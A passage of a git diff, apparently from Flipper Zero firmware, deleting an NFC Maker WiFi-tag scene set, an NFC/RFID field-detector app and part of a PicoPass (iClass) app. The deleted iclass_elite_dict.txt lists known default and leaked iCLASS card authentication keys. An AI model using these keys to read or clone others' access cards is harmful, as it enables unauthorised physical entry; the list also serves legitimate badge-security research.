app->scene_manager, NfcMakerSceneWifiEncr, WifiEncryptionNone); - strcpy(app->small_buf2, ""); - scene_manager_next_scene(app->scene_manager, NfcMakerSceneSave); - } else { - scene_manager_set_scene_state( - app->scene_manager, NfcMakerSceneWifiEncr, WifiEncryptionAes); - scene_manager_next_scene(app->scene_manager, NfcMakerSceneWifiEncr); - } - } - - return consumed; -} - -void nfc_maker_scene_wifi_auth_on_exit(void* context) { - NfcMaker* app = context; - submenu_reset(app->submenu); -} diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene_wifi_encr.c b/applications/external/nfc_maker/scenes/nfc_maker_scene_wifi_encr.c deleted file mode 100644 index d1a21f51a..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene_wifi_encr.c +++ /dev/null @@ -1,48 +0,0 @@ -#include "../nfc_maker.h" - -void nfc_maker_scene_wifi_encr_submenu_callback(void* context, uint32_t index) { - NfcMaker* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, index); -} - -void nfc_maker_scene_wifi_encr_on_enter(void* context) { - NfcMaker* app = context; - Submenu* submenu = app->submenu; - - submenu_set_header(submenu, "Encryption Type:"); - - submenu_add_item( - submenu, "AES", WifiEncryptionAes, nfc_maker_scene_wifi_encr_submenu_callback, app); - - submenu_add_item( - submenu, "WEP", WifiEncryptionWep, nfc_maker_scene_wifi_encr_submenu_callback, app); - - submenu_add_item( - submenu, "TKIP", WifiEncryptionTkip, nfc_maker_scene_wifi_encr_submenu_callback, app); - - submenu_add_item( - submenu, "None", WifiEncryptionNone, nfc_maker_scene_wifi_encr_submenu_callback, app); - - submenu_set_selected_item( - submenu, scene_manager_get_scene_state(app->scene_manager, NfcMakerSceneWifiEncr)); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcMakerViewSubmenu); -} - -bool nfc_maker_scene_wifi_encr_on_event(void* context, SceneManagerEvent event) { - NfcMaker* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - scene_manager_set_scene_state(app->scene_manager, NfcMakerSceneWifiEncr, event.event); - consumed = true; - scene_manager_next_scene(app->scene_manager, NfcMakerSceneWifiPass); - } - - return consumed; -} - -void nfc_maker_scene_wifi_encr_on_exit(void* context) { - NfcMaker* app = context; - submenu_reset(app->submenu); -} diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene_wifi_pass.c b/applications/external/nfc_maker/scenes/nfc_maker_scene_wifi_pass.c deleted file mode 100644 index acf1d7447..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene_wifi_pass.c +++ /dev/null @@ -1,53 +0,0 @@ -#include "../nfc_maker.h" - -enum TextInputResult { - TextInputResultOk, -}; - -static void nfc_maker_scene_wifi_pass_text_input_callback(void* context) { - NfcMaker* app = context; - - view_dispatcher_send_custom_event(app->view_dispatcher, TextInputResultOk); -} - -void nfc_maker_scene_wifi_pass_on_enter(void* context) { - NfcMaker* app = context; - TextInput* text_input = app->text_input; - - text_input_set_header_text(text_input, "Enter WiFi Password:"); - - strlcpy(app->small_buf2, "244466666", SMALL_INPUT_LEN); - - text_input_set_result_callback( - text_input, - nfc_maker_scene_wifi_pass_text_input_callback, - app, - app->small_buf2, - SMALL_INPUT_LEN, - true); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcMakerViewTextInput); -} - -bool nfc_maker_scene_wifi_pass_on_event(void* context, SceneManagerEvent event) { - NfcMaker* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - consumed = true; - switch(event.event) { - case TextInputResultOk: - scene_manager_next_scene(app->scene_manager, NfcMakerSceneSave); - break; - default: - break; - } - } - - return consumed; -} - -void nfc_maker_scene_wifi_pass_on_exit(void* context) { - NfcMaker* app = context; - text_input_reset(app->text_input); -} diff --git a/applications/external/nfc_rfid_detector/application.fam b/applications/external/nfc_rfid_detector/application.fam deleted file mode 100644 index ffed6967a..000000000 --- a/applications/external/nfc_rfid_detector/application.fam +++ /dev/null @@ -1,15 +0,0 @@ -App( - appid="nfc_rfid_detector", - name="NFC/RFID detector", - apptype=FlipperAppType.EXTERNAL, - targets=["f7"], - entry_point="nfc_rfid_detector_app", - requires=["gui"], - stack_size=4 * 1024, - fap_description="Identify the reader type: NFC (13 MHz) and/or RFID (125 KHz).", - fap_version="1.0", - fap_icon="nfc_rfid_detector_10px.png", - fap_category="Tools", - fap_icon_assets="images", - fap_author="SkorP", -) diff --git a/applications/external/nfc_rfid_detector/helpers/nfc_rfid_detector_event.h b/applications/external/nfc_rfid_detector/helpers/nfc_rfid_detector_event.h deleted file mode 100644 index bbffe2938..000000000 --- a/applications/external/nfc_rfid_detector/helpers/nfc_rfid_detector_event.h +++ /dev/null @@ -1,7 +0,0 @@ -#pragma once - -typedef enum { - //NfcRfidDetectorCustomEvent - NfcRfidDetectorCustomEventStartId = 100, - -} NfcRfidDetectorCustomEvent; diff --git a/applications/external/nfc_rfid_detector/helpers/nfc_rfid_detector_types.h b/applications/external/nfc_rfid_detector/helpers/nfc_rfid_detector_types.h deleted file mode 100644 index 5d44b09b7..000000000 --- a/applications/external/nfc_rfid_detector/helpers/nfc_rfid_detector_types.h +++ /dev/null @@ -1,15 +0,0 @@ -#pragma once - -#include -#include - -#define NFC_RFID_DETECTOR_VERSION_APP "0.1" -#define NFC_RFID_DETECTOR_DEVELOPED "SkorP" -#define NFC_RFID_DETECTOR_GITHUB "https://github.com/flipperdevices/flipperzero-firmware" - -typedef enum { - NfcRfidDetectorViewVariableItemList, - NfcRfidDetectorViewSubmenu, - NfcRfidDetectorViewFieldPresence, - NfcRfidDetectorViewWidget, -} NfcRfidDetectorView; diff --git a/applications/external/nfc_rfid_detector/images/NFC_detect_45x30.png b/applications/external/nfc_rfid_detector/images/NFC_detect_45x30.png deleted file mode 100644 index 9d8a6f2ab..000000000 Binary files a/applications/external/nfc_rfid_detector/images/NFC_detect_45x30.png and /dev/null differ diff --git a/applications/external/nfc_rfid_detector/images/Rfid_detect_45x30.png b/applications/external/nfc_rfid_detector/images/Rfid_detect_45x30.png deleted file mode 100644 index 35c205049..000000000 Binary files a/applications/external/nfc_rfid_detector/images/Rfid_detect_45x30.png and /dev/null differ diff --git a/applications/external/nfc_rfid_detector/nfc_rfid_detector_10px.png b/applications/external/nfc_rfid_detector/nfc_rfid_detector_10px.png deleted file mode 100644 index 7e875e028..000000000 Binary files a/applications/external/nfc_rfid_detector/nfc_rfid_detector_10px.png and /dev/null differ diff --git a/applications/external/nfc_rfid_detector/nfc_rfid_detector_app.c b/applications/external/nfc_rfid_detector/nfc_rfid_detector_app.c deleted file mode 100644 index cba8b6085..000000000 --- a/applications/external/nfc_rfid_detector/nfc_rfid_detector_app.c +++ /dev/null @@ -1,108 +0,0 @@ -#include "nfc_rfid_detector_app_i.h" - -#include -#include - -static bool nfc_rfid_detector_app_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - NfcRfidDetectorApp* app = context; - return scene_manager_handle_custom_event(app->scene_manager, event); -} - -static bool nfc_rfid_detector_app_back_event_callback(void* context) { - furi_assert(context); - NfcRfidDetectorApp* app = context; - return scene_manager_handle_back_event(app->scene_manager); -} - -static void nfc_rfid_detector_app_tick_event_callback(void* context) { - furi_assert(context); - NfcRfidDetectorApp* app = context; - scene_manager_handle_tick_event(app->scene_manager); -} - -NfcRfidDetectorApp* nfc_rfid_detector_app_alloc() { - NfcRfidDetectorApp* app = malloc(sizeof(NfcRfidDetectorApp)); - - // GUI - app->gui = furi_record_open(RECORD_GUI); - - // View Dispatcher - app->view_dispatcher = view_dispatcher_alloc(); - app->scene_manager = scene_manager_alloc(&nfc_rfid_detector_scene_handlers, app); - view_dispatcher_enable_queue(app->view_dispatcher); - - view_dispatcher_set_event_callback_context(app->view_dispatcher, app); - view_dispatcher_set_custom_event_callback( - app->view_dispatcher, nfc_rfid_detector_app_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - app->view_dispatcher, nfc_rfid_detector_app_back_event_callback); - view_dispatcher_set_tick_event_callback( - app->view_dispatcher, nfc_rfid_detector_app_tick_event_callback, 100); - - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - // Open Notification record - app->notifications = furi_record_open(RECORD_NOTIFICATION); - - // SubMenu - app->submenu = submenu_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, NfcRfidDetectorViewSubmenu, submenu_get_view(app->submenu)); - - // Widget - app->widget = widget_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, NfcRfidDetectorViewWidget, widget_get_view(app->widget)); - - // Field Presence - app->nfc_rfid_detector_field_presence = nfc_rfid_detector_view_field_presence_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - NfcRfidDetectorViewFieldPresence, - nfc_rfid_detector_view_field_presence_get_view(app->nfc_rfid_detector_field_presence)); - - scene_manager_next_scene(app->scene_manager, NfcRfidDetectorSceneStart); - - return app; -} - -void nfc_rfid_detector_app_free(NfcRfidDetectorApp* app) { - furi_assert(app); - - // Submenu - view_dispatcher_remove_view(app->view_dispatcher, NfcRfidDetectorViewSubmenu); - submenu_free(app->submenu); - - // Widget - view_dispatcher_remove_view(app->view_dispatcher, NfcRfidDetectorViewWidget); - widget_free(app->widget); - - // Field Presence - view_dispatcher_remove_view(app->view_dispatcher, NfcRfidDetectorViewFieldPresence); - nfc_rfid_detector_view_field_presence_free(app->nfc_rfid_detector_field_presence); - - // View dispatcher - view_dispatcher_free(app->view_dispatcher); - scene_manager_free(app->scene_manager); - - // Notifications - furi_record_close(RECORD_NOTIFICATION); - app->notifications = NULL; - - // Close records - furi_record_close(RECORD_GUI); - - free(app); -} - -int32_t nfc_rfid_detector_app(void* p) { - UNUSED(p); - NfcRfidDetectorApp* nfc_rfid_detector_app = nfc_rfid_detector_app_alloc(); - - view_dispatcher_run(nfc_rfid_detector_app->view_dispatcher); - - nfc_rfid_detector_app_free(nfc_rfid_detector_app); - - return 0; -} diff --git a/applications/external/nfc_rfid_detector/nfc_rfid_detector_app_i.c b/applications/external/nfc_rfid_detector/nfc_rfid_detector_app_i.c deleted file mode 100644 index c59d40d50..000000000 --- a/applications/external/nfc_rfid_detector/nfc_rfid_detector_app_i.c +++ /dev/null @@ -1,40 +0,0 @@ -#include "nfc_rfid_detector_app_i.h" - -#include - -#define TAG "NfcRfidDetector" - -void nfc_rfid_detector_app_field_presence_start(NfcRfidDetectorApp* app) { - furi_assert(app); - - // start the field presence rfid detection - furi_hal_rfid_field_detect_start(); - - // start the field presence nfc detection - furi_hal_nfc_exit_sleep(); - furi_hal_nfc_field_detect_start(); -} - -void nfc_rfid_detector_app_field_presence_stop(NfcRfidDetectorApp* app) { - furi_assert(app); - - // stop the field presence rfid detection - furi_hal_rfid_field_detect_stop(); - - // stop the field presence nfc detection - furi_hal_nfc_start_sleep(); -} - -bool nfc_rfid_detector_app_field_presence_is_nfc(NfcRfidDetectorApp* app) { - furi_assert(app); - - // check if the field presence is nfc - return furi_hal_nfc_field_is_present(); -} - -bool nfc_rfid_detector_app_field_presence_is_rfid(NfcRfidDetectorApp* app, uint32_t* frequency) { - furi_assert(app); - - // check if the field presence is rfid - return furi_hal_rfid_field_is_present(frequency); -} \ No newline at end of file diff --git a/applications/external/nfc_rfid_detector/nfc_rfid_detector_app_i.h b/applications/external/nfc_rfid_detector/nfc_rfid_detector_app_i.h deleted file mode 100644 index 72cb126d4..000000000 --- a/applications/external/nfc_rfid_detector/nfc_rfid_detector_app_i.h +++ /dev/null @@ -1,30 +0,0 @@ -#pragma once - -#include "helpers/nfc_rfid_detector_types.h" -#include "helpers/nfc_rfid_detector_event.h" - -#include "scenes/nfc_rfid_detector_scene.h" -#include -#include -#include -#include -#include -#include -#include "views/nfc_rfid_detector_view_field_presence.h" - -typedef struct NfcRfidDetectorApp NfcRfidDetectorApp; - -struct NfcRfidDetectorApp { - Gui* gui; - ViewDispatcher* view_dispatcher; - SceneManager* scene_manager; - NotificationApp* notifications; - Submenu* submenu; - Widget* widget; - NfcRfidDetectorFieldPresence* nfc_rfid_detector_field_presence; -}; - -void nfc_rfid_detector_app_field_presence_start(NfcRfidDetectorApp* app); -void nfc_rfid_detector_app_field_presence_stop(NfcRfidDetectorApp* app); -bool nfc_rfid_detector_app_field_presence_is_nfc(NfcRfidDetectorApp* app); -bool nfc_rfid_detector_app_field_presence_is_rfid(NfcRfidDetectorApp* app, uint32_t* frequency); \ No newline at end of file diff --git a/applications/external/nfc_rfid_detector/scenes/nfc_rfid_detector_scene.c b/applications/external/nfc_rfid_detector/scenes/nfc_rfid_detector_scene.c deleted file mode 100644 index d75eb2884..000000000 --- a/applications/external/nfc_rfid_detector/scenes/nfc_rfid_detector_scene.c +++ /dev/null @@ -1,31 +0,0 @@ -#include "../nfc_rfid_detector_app_i.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, -void (*const nfc_rfid_detector_scene_on_enter_handlers[])(void*) = { -#include "nfc_rfid_detector_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, -bool (*const nfc_rfid_detector_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = - { -#include "nfc_rfid_detector_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, -void (*const nfc_rfid_detector_scene_on_exit_handlers[])(void* context) = { -#include "nfc_rfid_detector_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers nfc_rfid_detector_scene_handlers = { - .on_enter_handlers = nfc_rfid_detector_scene_on_enter_handlers, - .on_event_handlers = nfc_rfid_detector_scene_on_event_handlers, - .on_exit_handlers = nfc_rfid_detector_scene_on_exit_handlers, - .scene_num = NfcRfidDetectorSceneNum, -}; diff --git a/applications/external/nfc_rfid_detector/scenes/nfc_rfid_detector_scene.h b/applications/external/nfc_rfid_detector/scenes/nfc_rfid_detector_scene.h deleted file mode 100644 index 74d324b4d..000000000 --- a/applications/external/nfc_rfid_detector/scenes/nfc_rfid_detector_scene.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) NfcRfidDetectorScene##id, -typedef enum { -#include "nfc_rfid_detector_scene_config.h" - NfcRfidDetectorSceneNum, -} NfcRfidDetectorScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers nfc_rfid_detector_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "nfc_rfid_detector_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "nfc_rfid_detector_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "nfc_rfid_detector_scene_config.h" -#undef ADD_SCENE diff --git a/applications/external/nfc_rfid_detector/scenes/nfc_rfid_detector_scene_about.c b/applications/external/nfc_rfid_detector/scenes/nfc_rfid_detector_scene_about.c deleted file mode 100644 index ddcb8aac0..000000000 --- a/applications/external/nfc_rfid_detector/scenes/nfc_rfid_detector_scene_about.c +++ /dev/null @@ -1,69 +0,0 @@ -#include "../nfc_rfid_detector_app_i.h" - -void nfc_rfid_detector_scene_about_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - NfcRfidDetectorApp* app = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(app->view_dispatcher, result); - } -} - -void nfc_rfid_detector_scene_about_on_enter(void* context) { - NfcRfidDetectorApp* app = context; - - FuriString* temp_str; - temp_str = furi_string_alloc(); - furi_string_printf(temp_str, "\e#%s\n", "Information"); - - furi_string_cat_printf(temp_str, "Version: %s\n", NFC_RFID_DETECTOR_VERSION_APP); - furi_string_cat_printf(temp_str, "Developed by: %s\n", NFC_RFID_DETECTOR_DEVELOPED); - furi_string_cat_printf(temp_str, "Github: %s\n\n", NFC_RFID_DETECTOR_GITHUB); - - furi_string_cat_printf(temp_str, "\e#%s\n", "Description"); - furi_string_cat_printf( - temp_str, - "This application allows\nyou to determine what\ntype of electromagnetic\nfield the reader is using.\nFor LF RFID you can also\nsee the carrier frequency\n\n"); - - widget_add_text_box_element( - app->widget, - 0, - 0, - 128, - 14, - AlignCenter, - AlignBottom, - "\e#\e! \e!\n", - false); - widget_add_text_box_element( - app->widget, - 0, - 2, - 128, - 14, - AlignCenter, - AlignBottom, - "\e#\e! NFC/RFID detector \e!\n", - false); - widget_add_text_scroll_element(app->widget, 0, 16, 128, 50, furi_string_get_cstr(temp_str)); - furi_string_free(temp_str); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcRfidDetectorViewWidget); -} - -bool nfc_rfid_detector_scene_about_on_event(void* context, SceneManagerEvent event) { - NfcRfidDetectorApp* app = context; - bool consumed = false; - UNUSED(app); - UNUSED(event); - - return consumed; -} - -void nfc_rfid_detector_scene_about_on_exit(void* context) { - NfcRfidDetectorApp* app = context; - - // Clear views - widget_reset(app->widget); -} diff --git a/applications/external/nfc_rfid_detector/scenes/nfc_rfid_detector_scene_config.h b/applications/external/nfc_rfid_detector/scenes/nfc_rfid_detector_scene_config.h deleted file mode 100644 index ab49ad5c2..000000000 --- a/applications/external/nfc_rfid_detector/scenes/nfc_rfid_detector_scene_config.h +++ /dev/null @@ -1,3 +0,0 @@ -ADD_SCENE(nfc_rfid_detector, start, Start) -ADD_SCENE(nfc_rfid_detector, about, About) -ADD_SCENE(nfc_rfid_detector, field_presence, FieldPresence) diff --git a/applications/external/nfc_rfid_detector/scenes/nfc_rfid_detector_scene_field_presence.c b/applications/external/nfc_rfid_detector/scenes/nfc_rfid_detector_scene_field_presence.c deleted file mode 100644 index ec53b5a0a..000000000 --- a/applications/external/nfc_rfid_detector/scenes/nfc_rfid_detector_scene_field_presence.c +++ /dev/null @@ -1,60 +0,0 @@ -#include "../nfc_rfid_detector_app_i.h" -#include "../views/nfc_rfid_detector_view_field_presence.h" - -void nfc_rfid_detector_scene_field_presence_callback( - NfcRfidDetectorCustomEvent event, - void* context) { - furi_assert(context); - NfcRfidDetectorApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, event); -} - -static const NotificationSequence notification_app_display_on = { - - &message_display_backlight_on, - NULL, -}; - -static void nfc_rfid_detector_scene_field_presence_update(void* context) { - furi_assert(context); - NfcRfidDetectorApp* app = context; - - uint32_t frequency = 0; - bool nfc_field = nfc_rfid_detector_app_field_presence_is_nfc(app); - bool rfid_field = nfc_rfid_detector_app_field_presence_is_rfid(app, &frequency); - - if(nfc_field || rfid_field) - notification_message(app->notifications, ¬ification_app_display_on); - - nfc_rfid_detector_view_field_presence_update( - app->nfc_rfid_detector_field_presence, nfc_field, rfid_field, frequency); -} - -void nfc_rfid_detector_scene_field_presence_on_enter(void* context) { - furi_assert(context); - NfcRfidDetectorApp* app = context; - - // Start detection of field presence - nfc_rfid_detector_app_field_presence_start(app); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcRfidDetectorViewFieldPresence); -} - -bool nfc_rfid_detector_scene_field_presence_on_event(void* context, SceneManagerEvent event) { - furi_assert(context); - NfcRfidDetectorApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeTick) { - nfc_rfid_detector_scene_field_presence_update(app); - } - - return consumed; -} - -void nfc_rfid_detector_scene_field_presence_on_exit(void* context) { - furi_assert(context); - NfcRfidDetectorApp* app = context; - // Stop detection of field presence - nfc_rfid_detector_app_field_presence_stop(app); -} diff --git a/applications/external/nfc_rfid_detector/scenes/nfc_rfid_detector_scene_start.c b/applications/external/nfc_rfid_detector/scenes/nfc_rfid_detector_scene_start.c deleted file mode 100644 index 7b71bd973..000000000 --- a/applications/external/nfc_rfid_detector/scenes/nfc_rfid_detector_scene_start.c +++ /dev/null @@ -1,58 +0,0 @@ -#include "../nfc_rfid_detector_app_i.h" - -typedef enum { - SubmenuIndexNfcRfidDetectorFieldPresence, - SubmenuIndexNfcRfidDetectorAbout, -} SubmenuIndex; - -void nfc_rfid_detector_scene_start_submenu_callback(void* context, uint32_t index) { - NfcRfidDetectorApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, index); -} - -void nfc_rfid_detector_scene_start_on_enter(void* context) { - UNUSED(context); - NfcRfidDetectorApp* app = context; - Submenu* submenu = app->submenu; - - submenu_add_item( - submenu, - "Detect field type", - SubmenuIndexNfcRfidDetectorFieldPresence, - nfc_rfid_detector_scene_start_submenu_callback, - app); - submenu_add_item( - submenu, - "About", - SubmenuIndexNfcRfidDetectorAbout, - nfc_rfid_detector_scene_start_submenu_callback, - app); - - submenu_set_selected_item( - submenu, scene_manager_get_scene_state(app->scene_manager, NfcRfidDetectorSceneStart)); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcRfidDetectorViewSubmenu); -} - -bool nfc_rfid_detector_scene_start_on_event(void* context, SceneManagerEvent event) { - NfcRfidDetectorApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == SubmenuIndexNfcRfidDetectorAbout) { - scene_manager_next_scene(app->scene_manager, NfcRfidDetectorSceneAbout); - consumed = true; - } else if(event.event == SubmenuIndexNfcRfidDetectorFieldPresence) { - scene_manager_next_scene(app->scene_manager, NfcRfidDetectorSceneFieldPresence); - consumed = true; - } - scene_manager_set_scene_state(app->scene_manager, NfcRfidDetectorSceneStart, event.event); - } - - return consumed; -} - -void nfc_rfid_detector_scene_start_on_exit(void* context) { - NfcRfidDetectorApp* app = context; - submenu_reset(app->submenu); -} diff --git a/applications/external/nfc_rfid_detector/views/nfc_rfid_detector_view_field_presence.c b/applications/external/nfc_rfid_detector/views/nfc_rfid_detector_view_field_presence.c deleted file mode 100644 index cf8ca936c..000000000 --- a/applications/external/nfc_rfid_detector/views/nfc_rfid_detector_view_field_presence.c +++ /dev/null @@ -1,165 +0,0 @@ -#include "nfc_rfid_detector_view_field_presence.h" -#include "../nfc_rfid_detector_app_i.h" -#include "nfc_rfid_detector_icons.h" -#include - -#include -#include - -#define FIELD_FOUND_WEIGHT 5 - -typedef enum { - NfcRfidDetectorTypeFieldPresenceNfc, - NfcRfidDetectorTypeFieldPresenceRfid, -} NfcRfidDetectorTypeFieldPresence; - -static const Icon* NfcRfidDetectorFieldPresenceIcons[] = { - [NfcRfidDetectorTypeFieldPresenceNfc] = &I_NFC_detect_45x30, - [NfcRfidDetectorTypeFieldPresenceRfid] = &I_Rfid_detect_45x30, -}; - -struct NfcRfidDetectorFieldPresence { - View* view; -}; - -typedef struct { - uint8_t nfc_field; - uint8_t rfid_field; - uint32_t rfid_frequency; -} NfcRfidDetectorFieldPresenceModel; - -void nfc_rfid_detector_view_field_presence_update( - NfcRfidDetectorFieldPresence* instance, - bool nfc_field, - bool rfid_field, - uint32_t rfid_frequency) { - furi_assert(instance); - with_view_model( - instance->view, - NfcRfidDetectorFieldPresenceModel * model, - { - if(nfc_field) { - model->nfc_field = FIELD_FOUND_WEIGHT; - } else if(model->nfc_field) { - model->nfc_field--; - } - if(rfid_field) { - model->rfid_field = FIELD_FOUND_WEIGHT; - model->rfid_frequency = rfid_frequency; - } else if(model->rfid_field) { - model->rfid_field--; - } - }, - true); -} - -void nfc_rfid_detector_view_field_presence_draw( - Canvas* canvas, - NfcRfidDetectorFieldPresenceModel* model) { - canvas_clear(canvas); - canvas_set_color(canvas, ColorBlack); - - if(!model->nfc_field && !model->rfid_field) { - canvas_draw_icon(canvas, 0, 16, &I_Modern_reader_18x34); - canvas_draw_icon(canvas, 22, 12, &I_Move_flipper_26x39); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 56, 36, "Touch the reader"); - } else { - if(model->nfc_field) { - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 21, 10, "NFC"); - canvas_draw_icon( - canvas, - 9, - 17, - NfcRfidDetectorFieldPresenceIcons[NfcRfidDetectorTypeFieldPresenceNfc]); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 9, 62, "13,56 MHz"); - } - - if(model->rfid_field) { - char str[16]; - snprintf(str, sizeof(str), "%.02f KHz", (double)model->rfid_frequency / 1000); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 76, 10, "LF RFID"); - canvas_draw_icon( - canvas, - 71, - 17, - NfcRfidDetectorFieldPresenceIcons[NfcRfidDetectorTypeFieldPresenceRfid]); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 69, 62, str); - } - } -} - -bool nfc_rfid_detector_view_field_presence_input(InputEvent* event, void* context) { - furi_assert(context); - NfcRfidDetectorFieldPresence* instance = context; - UNUSED(instance); - - if(event->key == InputKeyBack) { - return false; - } - - return true; -} - -void nfc_rfid_detector_view_field_presence_enter(void* context) { - furi_assert(context); - NfcRfidDetectorFieldPresence* instance = context; - with_view_model( - instance->view, - NfcRfidDetectorFieldPresenceModel * model, - { - model->nfc_field = 0; - model->rfid_field = 0; - model->rfid_frequency = 0; - }, - true); -} - -void nfc_rfid_detector_view_field_presence_exit(void* context) { - furi_assert(context); - NfcRfidDetectorFieldPresence* instance = context; - UNUSED(instance); -} - -NfcRfidDetectorFieldPresence* nfc_rfid_detector_view_field_presence_alloc() { - NfcRfidDetectorFieldPresence* instance = malloc(sizeof(NfcRfidDetectorFieldPresence)); - - // View allocation and configuration - instance->view = view_alloc(); - - view_allocate_model( - instance->view, ViewModelTypeLocking, sizeof(NfcRfidDetectorFieldPresenceModel)); - view_set_context(instance->view, instance); - view_set_draw_callback( - instance->view, (ViewDrawCallback)nfc_rfid_detector_view_field_presence_draw); - view_set_input_callback(instance->view, nfc_rfid_detector_view_field_presence_input); - view_set_enter_callback(instance->view, nfc_rfid_detector_view_field_presence_enter); - view_set_exit_callback(instance->view, nfc_rfid_detector_view_field_presence_exit); - - with_view_model( - instance->view, - NfcRfidDetectorFieldPresenceModel * model, - { - model->nfc_field = 0; - model->rfid_field = 0; - model->rfid_frequency = 0; - }, - true); - return instance; -} - -void nfc_rfid_detector_view_field_presence_free(NfcRfidDetectorFieldPresence* instance) { - furi_assert(instance); - - view_free(instance->view); - free(instance); -} - -View* nfc_rfid_detector_view_field_presence_get_view(NfcRfidDetectorFieldPresence* instance) { - furi_assert(instance); - return instance->view; -} diff --git a/applications/external/nfc_rfid_detector/views/nfc_rfid_detector_view_field_presence.h b/applications/external/nfc_rfid_detector/views/nfc_rfid_detector_view_field_presence.h deleted file mode 100644 index 0ddb4e2cd..000000000 --- a/applications/external/nfc_rfid_detector/views/nfc_rfid_detector_view_field_presence.h +++ /dev/null @@ -1,19 +0,0 @@ -#pragma once - -#include -#include "../helpers/nfc_rfid_detector_types.h" -#include "../helpers/nfc_rfid_detector_event.h" - -typedef struct NfcRfidDetectorFieldPresence NfcRfidDetectorFieldPresence; - -void nfc_rfid_detector_view_field_presence_update( - NfcRfidDetectorFieldPresence* instance, - bool nfc_field, - bool rfid_field, - uint32_t rfid_frequency); - -NfcRfidDetectorFieldPresence* nfc_rfid_detector_view_field_presence_alloc(); - -void nfc_rfid_detector_view_field_presence_free(NfcRfidDetectorFieldPresence* instance); - -View* nfc_rfid_detector_view_field_presence_get_view(NfcRfidDetectorFieldPresence* instance); diff --git a/applications/external/picopass/125_10px.png b/applications/external/picopass/125_10px.png deleted file mode 100644 index ce01284a2..000000000 Binary files a/applications/external/picopass/125_10px.png and /dev/null differ diff --git a/applications/external/picopass/application.fam b/applications/external/picopass/application.fam deleted file mode 100644 index 3a0b28750..000000000 --- a/applications/external/picopass/application.fam +++ /dev/null @@ -1,24 +0,0 @@ -App( - appid="picopass", - name="PicoPass", - apptype=FlipperAppType.EXTERNAL, - targets=["f7"], - entry_point="picopass_app", - requires=[ - "storage", - "gui", - ], - stack_size=4 * 1024, - fap_description="App to communicate with NFC tags using the PicoPass(iClass) format", - fap_version="1.2", - fap_icon="125_10px.png", - fap_category="NFC", - fap_libs=["mbedtls"], - fap_private_libs=[ - Lib( - name="loclass", - ), - ], - fap_icon_assets="icons", - fap_file_assets="files", -) diff --git a/applications/external/picopass/files/iclass_elite_dict.txt b/applications/external/picopass/files/iclass_elite_dict.txt deleted file mode 100644 index 908889aec..000000000 --- a/applications/external/picopass/files/iclass_elite_dict.txt +++ /dev/null @@ -1,41 +0,0 @@ - -## From https://github.com/RfidResearchGroup/proxmark3/blob/master/client/dictionaries/iclass_default_keys.dic - -# key1/Kc from PicoPass 2k documentation -7665544332211000 -# SAGEM -0123456789ABCDEF -# PicoPass Default Exchange Key -5CBCF1DA45D5FB4F -# From HID multiclassSE reader -31ad7ebd2f282168 -# From pastebin: https://pastebin.com/uHqpjiuU -6EFD46EFCBB3C875 -E033CA419AEE43F9 - -# default picopass KD / Page 0 / Book 1 -FDCB5A52EA8F3090 -237FF9079863DF44 -5ADC25FB27181D32 -83B881F2936B2E49 -43644E61EE866BA5 -897034143D016080 -82D17B44C0122963 -4895CA7DE65E2025 -DADAD4C57BE271B7 -E41E9EDEF5719ABF -293D275EC3AF9C7F -C3C169251B8A70FB -F41DAF58B20C8B91 -28877A609EC0DD2B -66584C91EE80D5E5 -C1B74D7478053AE2 - -# default iCLASS RFIDeas -6B65797374726B72 - -# CTF key -5C100DF7042EAE64 - -# iCopy-X DRM key (iCE product) -2020666666668888 diff --git a/applications/external/picopass/files/iclass_standard_dict.txt b/applications/external/picopass/files/iclass_standard_dict.txt deleted file mode 100644 index 46808ef60..000000000 --- a/applications/external/picopass/files/iclass_standard_dict.txt +++ 